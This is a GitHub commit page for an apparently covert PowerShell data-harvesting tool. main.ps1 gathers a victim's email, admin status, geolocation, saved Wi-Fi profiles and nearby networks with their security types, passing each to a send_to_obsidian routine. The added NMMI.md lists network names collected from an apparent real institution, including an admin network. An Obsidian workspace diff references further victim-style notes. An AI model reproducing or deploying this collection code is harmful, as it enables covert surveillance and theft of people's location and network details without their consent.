Skip to content

Commit

Permalink
commit-2022-09-11 15:33
Browse files Browse the repository at this point in the history
  • Loading branch information
PrettyBoyCosmo committed Sep 11, 2022
1 parent 4136486 commit caac5b6
Show file tree
Hide file tree
Showing 3 changed files with 99 additions and 36 deletions.
29 changes: 8 additions & 21 deletions .obsidian/workspace
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@
"state": {
"type": "markdown",
"state": {
"file": "user1.md",
"file": "NMMI.md",
"mode": "source",
"source": false
}
Expand Down Expand Up @@ -40,7 +40,7 @@
"state": {
"type": "search",
"state": {
"query": "tag:#starbuck-wifi",
"query": "",
"matchingCase": false,
"explainSearch": false,
"collapseAll": true,
Expand Down Expand Up @@ -77,7 +77,7 @@
"state": {
"type": "backlink",
"state": {
"file": "user1.md",
"file": "NMMI.md",
"collapseAll": false,
"extraContext": false,
"sortOrder": "alphabetical",
Expand All @@ -94,7 +94,7 @@
"state": {
"type": "outgoing-link",
"state": {
"file": "user1.md",
"file": "NMMI.md",
"linksCollapsed": false,
"unlinkedCollapsed": true
}
Expand All @@ -117,7 +117,7 @@
"state": {
"type": "outline",
"state": {
"file": "user1.md"
"file": "NMMI.md"
}
}
}
Expand All @@ -130,28 +130,15 @@
},
"active": "7b08e31842a41fe1",
"lastOpenFiles": [
<<<<<<< HEAD
"NMMI.md",
"user1.md",
"ROADMAP.md",
"README.md",
"Nmmi_Cadet.md",
"blue.md",
"user1.md",
"burgerking-wifi.md",
"guest-wifi.md",
"redro.md",
"user3.md",
"user2.md"
=======
"README.md",
"redro.md",
"user1.md",
"burgerking-wifi.md",
"guest-wifi.md",
"user3.md",
"user2.md",
"ROADMAP.md",
"file.md",
"curl.md"
>>>>>>> origin/main
"user3.md"
]
}
63 changes: 63 additions & 0 deletions NMMI.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
- #
- #
- #
- #
- #-Nmmi_Cadet


- #-WPA2-Personal


- #-CCMP


- #
- #1

- #

- #

- #2

- #

- #

- #3

- #

- #

- #
- #-Nmmi_Cadet


- #-WPA2-Personal


- #-CCMP


- #
- #Nmmi_Cadet


- #WPA2-Personal


- #CCMP


- #
- #Nmmi_Cadet
- #WPA2-Personal
- #CCMP
- #
- #Nmmi_Cadet
- #WPA2-Personal
- #CCMP
- #
- #NMMI_Admin_SECURE
- #Nmmi_Cadet
Expand Down
43 changes: 28 additions & 15 deletions main.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -126,14 +126,6 @@ function user_markdown {
$email = Get-email
$is_admin = (Get-LocalGroupMember 'Administrators').Name -contains "$env:COMPUTERNAME\$env:USERNAME"

# geolocation values
$GL = (Get-GeoLocation) -split " "
$latitude = $GL[0].Substring(11) -replace ".$"
$longitude = $GL[1].Substring(10) -replace ".$"

# $longitude = '40.7484405'
# $latitude = '-73.9878531'

# create markdown content
$content = @"
# $account
Expand All @@ -157,29 +149,50 @@ function user_markdown {
# send data set one
send_to_obsidian -message $content -file $markdown

# get saved wireless data
$wifi_json = wireless_markdown

# add known connections
for ($i = 0; $i -le $wifi_json.Length; $i++) {
$wifi_name = $wifi_json.SSID[$i]

send_to_obsidian -message "- [[$wifi_name]]" -file $markdown
}

# setup nearby netwoks
send_to_obsidian -message "`n## Nearby Networks" -file $markdown

# attempt to read nearby networks
try {
$nearby_ssids = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*"}).trim()
# get nearby ssids
$nearby_ssids = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*" -or $_ -like "*Authentication*" -or $_ -like "*Encryption*"}).trim()

# clean for iteration
$nearby_networks = $nearby_ssids | ConvertTo-Json | ConvertFrom-Json

# format and add ssids
for ($i = 0; $i -le $nearby_networks.Length; $i++) {

if ($nearby_networks[$i] -like "SSID*") {
$formatted_ssid = $nearby_networks[$i] | Out-String
$formatted_ssid = $formatted_ssid.Split(":")[1] | Out-String
$formatted_ssid = $formatted_ssid.Replace(" ", "").Replace("`n","")

send_to_obsidian -message "- #$formatted_ssid" -file $markdown
}
}
}
catch {
$nearby_ssids="No nearby wifi networks detected"
send_to_obsidian -message "- No nearby wifi networks detected" -file $markdown
}

$nearby_networks = $nearby_ssids | ConvertTo-Json | ConvertFrom-Json
# geolocation values
$GL = (Get-GeoLocation) -split " "
$latitude = $GL[0].Substring(11) -replace ".$"
$longitude = $GL[1].Substring(10) -replace ".$"

for ($i = 0; $i -le $nearby_networks.Length; $i++) {
$formatted_ssid = $nearby_networks[$i].replace(" ", "-")
send_to_obsidian -message "- #$formatted_ssid" -file $markdown
}
# $longitude = '40.7484405'
# $latitude = '-73.9878531'

$content = @"
Expand Down

0 comments on commit caac5b6

Please sign in to comment.